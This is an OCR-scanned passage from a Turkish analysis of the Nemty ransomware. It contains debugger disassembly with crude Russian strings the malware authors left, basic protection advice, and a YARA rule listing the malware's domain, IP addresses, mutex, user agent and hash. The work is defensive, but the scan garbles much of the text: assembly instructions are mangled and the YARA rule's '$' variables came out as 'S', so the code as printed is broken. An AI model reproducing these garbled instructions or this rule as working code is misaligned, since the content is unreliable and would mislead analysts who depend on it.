1ea =ax, diword ptr =ss=s:|fesp+Dof
Pus h eax

c2ll ==

test eax,eax

je nemty.401E1E

push nemtyw. 41147C 431147 C:L"rsa"
1ea eax, dwnrd ptr ss:lesp+DOojJ
pus h eax

ca2all ==

Test =ax,eax

je nemty.401E1E

push rnemty 114854 411484 L"NTDETECT . COM™
Tea esax, dwnrd ptr ss:|lesp+D0oJ

Ransomware turindeki Nemty zararlisinin runtime zamaninda analizinde siradisi
stringlere rastlanmaktadir.

mov eax,dword ptr ss:[lebp-4:2)

mov ecx,dword ptr ss:[lebp-&&)

mov dword ptr ds::ecx y 23X eax:"a nastol'ko ebanuty, chto lezhal v durke"
mov dword ptr ds:[eax+4],ecx eax+4: "stol'ko ebanuty, chto lezhal v durke"
lea eax,dword ptr ds: [esi+2] eax:"a nastol'ko ebanuty, chto lezhal v durke"
mov dword ptr ss:[lebp+10f, eax

test byte ptr ds::eax:,s eax:"a nastol'ko ebanuty, chto lezhal v durke"

jne ntdll.77E862DC

mov ebx,dword ptr ss:[lebp+i0]
mov al,byte ptr ds:[ebx]

mov byte ptr ss:[febp-aof,al
cmp dword ptr ss:[ebp-443,0
je ntdl11.77ES824FE

mov al,byte ptr ss:febp-19]
mov byte ptr ds::ehx:,a’
movex ecx,word ptr ds:[esi]
mov edi,dword ptr 55'[ekp 2C
sub ecx,edi

mov dword ptr ss febp-Asfll, ecx
mov word ptr ds:[esi],di
mov =ax,dword ptr 55'[Ebp C
sub eax,dward ptr ss:|iebp+s
mov dword ptr ss:[ebp-381,e
lea edx,dword ptr ds:[esi+7
Cmp eax,3F eax:"a nastol"'ko ebanuty, chto lezhal v durke™, 3IF:'7'
jae ntdll.77EBAEG3

mov byte ptr ds:[edx],al
mov ebx,dword ptr ss:[lebp-z0f
lea eax,dword ptr ds:[esi+3]
Mo dwnrd ptr ss febp-2Cl, eax

mov byte ptr ds:[eax],0 eax:"a nastol'ko ebanuty, chto lezhal v durke”
test ecx,ecx

je ntd11 ??E633C5

eax:"a nastol'ko ebanuty, chto lezhal v durke”

Ransomware turindeki Nemty zararlisini ortaya koyan saldirgan, analistlere sik sik
yukaridakigorselde oldugu gibi mesajlar vermektedir. Mesajlarin diline bakildiginda
Rusca oldugu tespit edilmektedir.
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Coziim Onerileri

Ransomware tirtindeki Nemty zararlisindan korunmanin yollari bulunmaktadir:

- Sistemlerde gincel, glivenilir bir antiviris yaziliminin kullaniimasi,

- Gelen maillere 6zenle dikkat edilmesi, eklerin analiz edilmeden bilingsizce
acllmamasi,

- Spam maillerin dikkate alinmamasi,

- Mutex nesnelerinin sistem lzerinde olusturulmasi gibi ¢ozimler,
Ransomware tiriindeki Nemty zararlisinin sisteme bulagsmasini
engelleyebilmektedir.

www.gaissecurity.com
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YARA

import "hash"
rule nemty:ransomware{

meta:
description = "Nemty Ransomware"
analyzer = "Fatih SENSOY"
version="2.6"
release_date ="09.03.2020"

strings:
Ssite = "nemty10.biz"
Sip="91.215.170.231"
Sip2="45.143.138.38"
Sstrl = "f:\dd\vctools\crt_bld\self x86\crt\src\_file.c"
Sstr2 = "f:\dd\vctools\crt_bld\self x86\crt\src\onexit.c"
Smutex = "edu v magazi gucccchi v spb, grrrrrraa, ona zhret moi xui kak-budto eto
burger..."
Suser_agent = "Naruto Uzumake"

condition:
hash.md5(0,filesize) == "2b6c6d8424c1b149c7f81e2565aaa7e6" or Smutex and
Suser_agent or all of them

}
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